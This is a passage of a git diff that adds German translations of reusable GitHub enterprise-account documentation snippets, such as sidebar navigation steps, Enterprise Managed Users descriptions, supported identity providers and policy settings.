+++ b/translations/de-DE/data/reusables/enterprise-accounts/emu-short-summary.md
@@ -0,0 +1 @@
+{% data variables.product.prodname_emus %} is a feature of {% data variables.product.prodname_ghe_cloud %} that provides even greater control over enterprise members and resources. With {% data variables.product.prodname_emus %}, all members are provisioned and managed through your identity provider (IdP) instead of users creating their own accounts on {% data variables.product.product_name %}. Team membership can be managed using groups on your IdP. {% data variables.enterprise.prodname_managed_users_caps %} are restricted to their enterprise and are unable to push code, collaborate, or interact with users, repositories, and organizations outside of their enterprise. For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users){% ifversion not ghec %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/emu-shortcode.md b/translations/de-DE/data/reusables/enterprise-accounts/emu-shortcode.md
new file mode 100644
index 0000000000..feb66c1276
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/emu-shortcode.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 2c37a194ba4edf12bc082a31c7c0285e457bd4cf
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145068874"
+---
+Der kurze Code muss für Ihr Unternehmen eindeutig sein. Es muss sich um eine alphanumerische Zeichenfolge mit drei bis acht Zeichen handeln, die keine Sonderzeichen enthält.
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/emu-supported-idps.md b/translations/de-DE/data/reusables/enterprise-accounts/emu-supported-idps.md
new file mode 100644
index 0000000000..4055626aba
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/emu-supported-idps.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: c7e46d4e92ed1addba4fa1c0eef84f01b747b608
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145068871"
+---
+* Azure Active Directory (Azure AD)
+* Okta
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/enterprise-accounts-billing.md b/translations/de-DE/data/reusables/enterprise-accounts/enterprise-accounts-billing.md
new file mode 100644
index 0000000000..903463df60
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/enterprise-accounts-billing.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 6baa2c0b9fecf32e88baa439a34e49db7ecb3f45
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145068868"
+---
+Enterprise-Konten sind momentan nicht verfügbar für Kunden von {% data variables.product.prodname_ghe_cloud %} und {% data variables.product.prodname_ghe_server %}, die mit Rechnung bezahlen. Die Abrechnung aller Organisations- und {% data variables.product.prodname_ghe_server %}-Instanzen, die mit Deinem Enterprise-Konto verbunden sind, wird in einer einzigen Rechnung zusammengefasst.
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/enterprise-accounts-compliance-tab.md b/translations/de-DE/data/reusables/enterprise-accounts/enterprise-accounts-compliance-tab.md
new file mode 100644
index 0000000000..a8de688049
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/enterprise-accounts-compliance-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 791993b8baab4f7ba6dc7e6799d57cd381ebdb08
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881836"
+---
+1. Klicke auf der Randleiste des Unternehmenskontos auf {% octicon "checklist" aria-label="The Compliance icon" %} **Compliance**.
+  ![Registerkarte „Compliance“ auf der Randleiste des Unternehmenskontos](/assets/images/help/business-accounts/enterprise-accounts-compliance-tab.png)
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/enterprise-administrators.md b/translations/de-DE/data/reusables/enterprise-accounts/enterprise-administrators.md
new file mode 100644
index 0000000000..e847209df9
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/enterprise-administrators.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e930905180039b48b0495706373de0526b0b9c5a
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884558"
+---
+{% ifversion fpt or ghec %}Derzeit stehen in Unternehmen zwei Verwaltungsrollen zur Verfügung: Unternehmensbesitzer, die auf alle Einstellungen im gesamten Unternehmen zugreifen und diese verwalten können, und Abrechnungsmanager, die nur auf die Abrechnungseinstellungen des Unternehmens zugreifen und nur diese verwalten können. {% endif %}Unternehmensbesitzer können {% ifversion fpt or ghec %}auch {% endif %}alle Mitglieder und externen Mitarbeiter für jede Organisation im Besitz des Unternehmens sehen.
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/github-connect-tab.md b/translations/de-DE/data/reusables/enterprise-accounts/github-connect-tab.md
new file mode 100644
index 0000000000..531cb07ecf
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/github-connect-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 1deb44d72646709e6f3c0ad43ffe0a5ffc87c54e
+ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879043"
+---
+1. Klicke auf der Randleiste des Unternehmenskontos auf {% octicon "plug" aria-label="The GitHub Connect gear" %} **{% data variables.product.prodname_github_connect %}** .
+  ![Registerkarte „GitHub Connect“ auf der Randleiste des Unternehmenskontos](/assets/images/help//business-accounts/enterprise-account-github-connect-tab.png)
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/hooks-tab.md b/translations/de-DE/data/reusables/enterprise-accounts/hooks-tab.md
new file mode 100644
index 0000000000..d1d242506f
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/hooks-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: a2328c7e89e703ae1edb3b4d62bc7f7d795ae937
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147785806"
+---
+1. Klicke unter „{% octicon "gear" aria-label="The Settings gear" %} Einstellungen“ auf **Hooks**.
+  ![Registerkarte „Hooks“ auf der Randleiste mit den Unternehmenskontoeinstellungen](/assets/images/help/business-accounts/settings-hooks-tab.png)
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/invite-organization.md b/translations/de-DE/data/reusables/enterprise-accounts/invite-organization.md
new file mode 100644
index 0000000000..d1e2f97f49
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/invite-organization.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e108c21ffed150bf0cc542208e03d91714ce06fc
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881700"
+---
+Unternehmenskontobesitzer können vorhandene Organisationskonten einladen, ihrem Unternehmen beizutreten. Weitere Informationen findest du unter [Einladen einer Organisation zum Beitritt zu deinem Unternehmenskonto](/enterprise-cloud@latest/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise#inviting-an-organization-to-join-your-enterprise-account).
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/license-tab.md b/translations/de-DE/data/reusables/enterprise-accounts/license-tab.md
new file mode 100644
index 0000000000..05fa2d4020
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/license-tab.md
@@ -0,0 +1,19 @@
+---
+ms.openlocfilehash: 625cf383f5622d594879bcfa2d52717087ce30dd
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145088515"
+---
+{% ifversion fpt or ghec %}
+
+1. Klicke auf der linken Seitenleiste auf **Enterprise-Lizenzierung**.
+  ![Registerkarte „Unternehmenslizenzierung“ in der Seitenleiste mit den Unternehmenskontoeinstellungen](/assets/images/help/enterprises/enterprise-licensing-tab.png)
+
+{% else %}
+
+1. Klicke in der linken Seitenleiste auf **Lizenz**.
+  ![Registerkarte „Lizenz“ in der Seitenleiste mit den Unternehmenskontoeinstellungen](/assets/images/enterprise/enterprise-server/license.png)
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/messages-tab.md b/translations/de-DE/data/reusables/enterprise-accounts/messages-tab.md
new file mode 100644
index 0000000000..da6005ce38
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/messages-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 52eb8d632192a83bff337c9c819001f5fc4fce85
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145088508"
+---
+1. Klicke unter **{% octicon "gear" aria-label="The Settings gear" %} Einstellungen** auf **Nachrichten**.
+  ![Registerkarte „Nachrichten“ auf der Randleiste mit den Unternehmenseinstellungen](/assets/images/enterprise/business-accounts/settings-messages-tab.png)
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/oidc-beta-notice.md b/translations/de-DE/data/reusables/enterprise-accounts/oidc-beta-notice.md
new file mode 100644
index 0000000000..62081477ce
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/oidc-beta-notice.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 212811ec85eac69f0a197bdd7b5002848a30a889
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147059882"
+---
+{% note %}
+
+**Hinweis:** Unterstützung von OpenID Connect (OIDC) und CAP (Richtlinie für bedingten Zugriff) für {% data variables.product.prodname_emus %} befindet sich in der öffentlichen Betaversion und ist nur für Azure AD erhältlich.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/oidc-gei-warning.md b/translations/de-DE/data/reusables/enterprise-accounts/oidc-gei-warning.md
new file mode 100644
index 0000000000..5ec0d137b6
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/oidc-gei-warning.md
@@ -0,0 +1,5 @@
+{% warning %}
+
+**Warning:** If you use {% data variables.product.prodname_importer_proper_name %} to migrate an organization from {% data variables.location.product_location_enterprise %}, make sure to use a service account that is exempt from Azure AD's CAP otherwise your migration may be blocked.
+
+{% endwarning %}
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/options-tab.md b/translations/de-DE/data/reusables/enterprise-accounts/options-tab.md
new file mode 100644
index 0000000000..56e9f2ac50
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/options-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: cdc8d8fb721305e4dd2343d2d281e37fb7ccbc06
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101455"
+---
+1. Klicke unter {% ifversion ghes or ghae %} {% octicon "law" aria-label="The law icon" %} **Richtlinien**{% else %}„{% octicon "gear" aria-label="The Settings gear" %} Einstellungen“{% endif %} auf **Optionen**.
+![Registerkarte „Optionen“ auf der Randleiste mit den Unternehmenskontoeinstellungen](/assets/images/enterprise/business-accounts/settings-options-tab.png)
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/packages-tab.md b/translations/de-DE/data/reusables/enterprise-accounts/packages-tab.md
new file mode 100644
index 0000000000..f67a0d6516
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/packages-tab.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 986507666a63538b896737d641f18fa3e27c5143
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147410774"
+---
+1. Klicke auf der linken Randleiste auf **Pakete**.
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/pages-policies-save.md b/translations/de-DE/data/reusables/enterprise-accounts/pages-policies-save.md
new file mode 100644
index 0000000000..ae280717c8
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/pages-policies-save.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 42d0c8123afb8f084548529ba638b800aba7de62
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145088507"
+---
+ 6. Klicken Sie auf **Speichern**.
+    ![Schaltfläche „Speichern“](/assets/images/enterprise/business-accounts/pages-policies-save-button.png)
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/pages-tab.md b/translations/de-DE/data/reusables/enterprise-accounts/pages-tab.md
new file mode 100644
index 0000000000..ba365b1102
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/pages-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 663849321ade9cb47032bc22221cd3d72931feca
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145133974"
+---
+1. Klicke unter „{% octicon "law" aria-label="The law icon" %} Richtlinien“ auf **Seiten**.
+    ![Registerkarte „Seiten“ auf der Randleiste für Unternehmen](/assets/images/enterprise/business-accounts/pages-tab.png)
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/payment-information-tab.md b/translations/de-DE/data/reusables/enterprise-accounts/payment-information-tab.md
new file mode 100644
index 0000000000..2d7b57e601
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/payment-information-tab.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: bc120bd7d29ccf5fef8c3ba8cdd3803a4c1b372c
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147880172"
+---
+1. Klicke unter „Abrechnung“ auf **Zahlungsinformationen**.
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/people-tab.md b/translations/de-DE/data/reusables/enterprise-accounts/people-tab.md
new file mode 100644
index 0000000000..2e8de45ad4
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/people-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 16910c3b08f5aa9ade0d64f41cc1369cb7c270a9
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145102607"
+---
+1. Klicke in der Randleiste des Unternehmenskontos auf {% octicon "person" aria-label="The People icon" %} **Personen**.
+  ![Registerkarte „Personen“ auf der Randleiste des Unternehmenskontos](/assets/images/help/business-accounts/business-account-people-tab.png)
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/policies-tab.md b/translations/de-DE/data/reusables/enterprise-accounts/policies-tab.md
new file mode 100644
index 0000000000..57e4e15c11
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/policies-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: c9f08eb9613e9c73307b799060d4d5358e4b6a6b
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145102603"
+---
+1. Klicke in der Unternehmensrandleiste auf {% octicon "law" aria-label="The law icon" %} **Richtlinien**.
+  ![Registerkarte „Richtlinien“ auf der Randleiste des Enterprise-Kontos](/assets/images/help/business-accounts/enterprise-account-policies-tab.png)
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/projects-tab.md b/translations/de-DE/data/reusables/enterprise-accounts/projects-tab.md
new file mode 100644
index 0000000000..5115f43d7d
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/projects-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 5bc4b4b552b342503ff90afcbf5df707904f9eeb
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145102599"
+---
+1. Klicke auf der linken Randleiste auf **Projekte**.
+  ![Registerkarte „Projekte“ auf der Randleiste mit Unternehmenskontoeinstellungen](/assets/images/help/business-accounts/settings-projects-tab.png)
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/repo-creation-policy.md b/translations/de-DE/data/reusables/enterprise-accounts/repo-creation-policy.md
new file mode 100644
index 0000000000..ec40ddcb28
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/repo-creation-policy.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: ad304d35de8380bfd1dd17206c83db7b91d8a2dd
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147683655"
+---
+1. Wähle unter „Repository creation“ (Repository-Erstellung) eine Richtlinie aus.
+  {% ifversion enterprise-namespace-repo-setting %} ![Dropdownmenü mit Optionen für die Erstellung von Repositoryrichtlinien](/assets/images/help/business-accounts/restrict-personal-namespace-setting.png) {% else %} ![Dropdownmenü mit Optionen für die Richtlinie zur Repositoryerstellung](/assets/images/help/business-accounts/repository-creation-policy-drop-down.png) {% endif %}
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/repo-creation-types.md b/translations/de-DE/data/reusables/enterprise-accounts/repo-creation-types.md
new file mode 100644
index 0000000000..827e609d35
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/repo-creation-types.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: d2cf7f4f019ccb42ca2063a962620e76c8e13050
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145102592"
+---
+1. Wenn du **Mitglieder können Repositorys erstellen** ausgewählt hast, wähle mindestens einen Repositorytyp aus.
+  ![Kontrollkästchen für Repositorytypen](/assets/images/help/business-accounts/repository-creation-policy-repo-types.png)
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/repositories-tab.md b/translations/de-DE/data/reusables/enterprise-accounts/repositories-tab.md
new file mode 100644
index 0000000000..f77826df0b
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/repositories-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: e3df144f7af19eb37e0d386e0764a19b8d163fd1
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145102595"
+---
+1. Klicke unter „{% octicon "law" aria-label="The law icon" %} Richtlinien“ auf **Repositorys**.
+  ![Registerkarte „Repositorys“ auf der Randleiste mit den Unternehmenskontoeinstellungen](/assets/images/help/business-accounts/policies-repositories-tab.png)
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/repository-deletion-policy.md b/translations/de-DE/data/reusables/enterprise-accounts/repository-deletion-policy.md
new file mode 100644
index 0000000000..993dd70bee
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/repository-deletion-policy.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 0407b483fd6bed104782910d88f88456c98a094d
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145102588"
+---
+1. Wähle im Dropdownmenü unter „Repository deletion and transfer“ (Repository-Löschung und -Übertragung) eine Richtlinie aus.
+![Dropdownmenü mit Optionen für die Richtlinie für die Repository-Löschung](/assets/images/help/business-accounts/repository-deletion-policy-drop-down.png)
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/restrict-email-notifications-enterprise.md b/translations/de-DE/data/reusables/enterprise-accounts/restrict-email-notifications-enterprise.md
new file mode 100644
index 0000000000..6e54a81dbb
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/restrict-email-notifications-enterprise.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 01fed69d9c398a144ec7d71520d551d7e2309ce5
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145102584"
+---
+1. Wähle unter „Benachrichtigungseinstellungen“ die Option **E-Mail-Benachrichtigungen nur auf genehmigte oder überprüfte Domänen beschränken** aus.
+  ![Kontrollkästchen zur Beschränkung von E-Mail-Benachrichtigungen auf E-Mails überprüfter Domänen](/assets/images/help/enterprises/restrict-email-notifications-to-domain-enterprise.png)
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/security-tab.md b/translations/de-DE/data/reusables/enterprise-accounts/security-tab.md
new file mode 100644
index 0000000000..86a4bbacdb
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/security-tab.md
@@ -0,0 +1,7 @@
+{%- ifversion ghec or ghes > 3.4 or ghae > 3.4 %}
+1. In the left sidebar, click **Authentication security**.
+   {% ifversion ghae %}![Security tab in the enterprise account settings sidebar](/assets/images/enterprise/github-ae/enterprise-account-settings-authentication-security-tab.png){% else %}![Security tab in the enterprise account settings sidebar](/assets/images/help/business-accounts/enterprise-account-settings-authentication-security-tab.png){% endif %}
+{%- else %}
+1. In the left sidebar, click **Security**.
+  {% ifversion ghae %}![Security tab in the enterprise account settings sidebar](/assets/images/enterprise/github-ae/enterprise-account-settings-security-tab.png){% else %}![Security tab in the enterprise account settings sidebar](/assets/images/help/business-accounts/enterprise-account-settings-security-tab.png){% endif %}
+{%- endif %}
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/settings-tab.md b/translations/de-DE/data/reusables/enterprise-accounts/settings-tab.md
new file mode 100644
index 0000000000..7de5b8c1e0
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/settings-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 2ca0b407c0a2da2784d555031fd4257384ea3839
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147877069"
+---
+1. Klicke in der Randleiste des Unternehmenskontos auf {% octicon "gear" aria-label="The Settings gear" %} **Einstellungen**.
+  ![Registerkarte „Einstellungen“ in der Randleiste des Unternehmenskontos](/assets/images/help/business-accounts/enterprise-account-settings-tab.png)
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/support-entitlements.md b/translations/de-DE/data/reusables/enterprise-accounts/support-entitlements.md
new file mode 100644
index 0000000000..cbf2029c1d
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/support-entitlements.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 07642cbc6410e043de428226e9d798e462adbbf6
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147877074"
+---
+Um Supporttickets zu öffnen, anzuzeigen und zu kommentieren, die einem Unternehmenskonto oder einer Organisation im Besitz eines Unternehmenskontos zugeordnet sind, musst du über Supportberechtigungen für das Konto verfügen. Unternehmensbesitzer und Abrechnungsmanager verfügen automatisch über Supportberechtigungen, und Unternehmensbesitzer können Unternehmensmitgliedern Supportberechtigungen hinzufügen. Weitere Informationen findest du unter [Verwalten von Supportberechtigungen für dein Unternehmen](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise).
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/team-sync-override.md b/translations/de-DE/data/reusables/enterprise-accounts/team-sync-override.md
new file mode 100644
index 0000000000..25a620a72a
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/team-sync-override.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 5d1ba3f2cbc16ab24e24e7f6dc3ad9e0557fb9ff
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147076919"
+---
+{% ifversion ghec %} Wenn Deine Organisation im Besitz eines Enterprise-Kontos ist, wird die Aktivierung der Teamsynchronisierung für das Enterprise-Konto Deine Einstellungen für die Teamsynchronisierung auf Organisationsebene überschreiben. Weitere Informationen findest du unter [Verwalten der Teamsynchronisierung für Organisationen in deinem Unternehmenskonto](/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise).
+{% endif %}
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/to-upgrade-or-get-started.md b/translations/de-DE/data/reusables/enterprise-accounts/to-upgrade-or-get-started.md
new file mode 100644
index 0000000000..018a460528
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/to-upgrade-or-get-started.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b8042a04c67457b08cb6c02417e7315b9185c246
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145102559"
+---
+Um auf {% data variables.product.prodname_enterprise %} zu hochzustufen oder um mit einem Unternehmenskonto einzusteigen, kontaktiere bitte {% data variables.contact.contact_enterprise_sales %}.
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/verified-domains-tab.md b/translations/de-DE/data/reusables/enterprise-accounts/verified-domains-tab.md
new file mode 100644
index 0000000000..290886303f
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/verified-domains-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 20394d61d889e2db3c94e1a3409bdd40dba021cf
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145102556"
+---
+1. Klicke unter „Einstellungen“ auf **Überprüfte und genehmigte Domänen**.
+    ![Registerkarte „Überprüfte und genehmigte Domänen“](/assets/images/help/enterprises/verified-domains-tab.png)
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/view-current-policy-config-orgs.md b/translations/de-DE/data/reusables/enterprise-accounts/view-current-policy-config-orgs.md
new file mode 100644
index 0000000000..1ffd63186b
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/view-current-policy-config-orgs.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 319b6684b8429e1a852676c8528f9bac26b2b413
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147880484"
+---
+Optional kannst du die aktuelle Konfiguration für alle Organisationen im Unternehmenskonto anzeigen, bevor du die Einstellung änderst. Klicke dazu auf {% octicon "eye" aria-label="The eye octicon" %} **Aktuelle Konfigurationen deiner Organisationen anzeigen**.
+  ![Link zum Anzeigen der aktuellen Richtlinienkonfiguration für Organisationen im Unternehmen](/assets/images/help/business-accounts/view-current-policy-implementation-link.png)
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/viewing-dormant-users.md b/translations/de-DE/data/reusables/enterprise-accounts/viewing-dormant-users.md
new file mode 100644
index 0000000000..8fc5087225
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/viewing-dormant-users.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 5dd178f17a4bf2434f7bb30326d3ae4ab741cb81
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108599"
+---
+Sie können eine Liste sämtlicher inaktiver Benutzer anzeigen, die nicht gesperrt wurden und keine Websiteadministratoren sind.
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/vss-ghe-description.md b/translations/de-DE/data/reusables/enterprise-accounts/vss-ghe-description.md
new file mode 100644
index 0000000000..6739af88b6
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/vss-ghe-description.md
@@ -0,0 +1,9 @@
+---
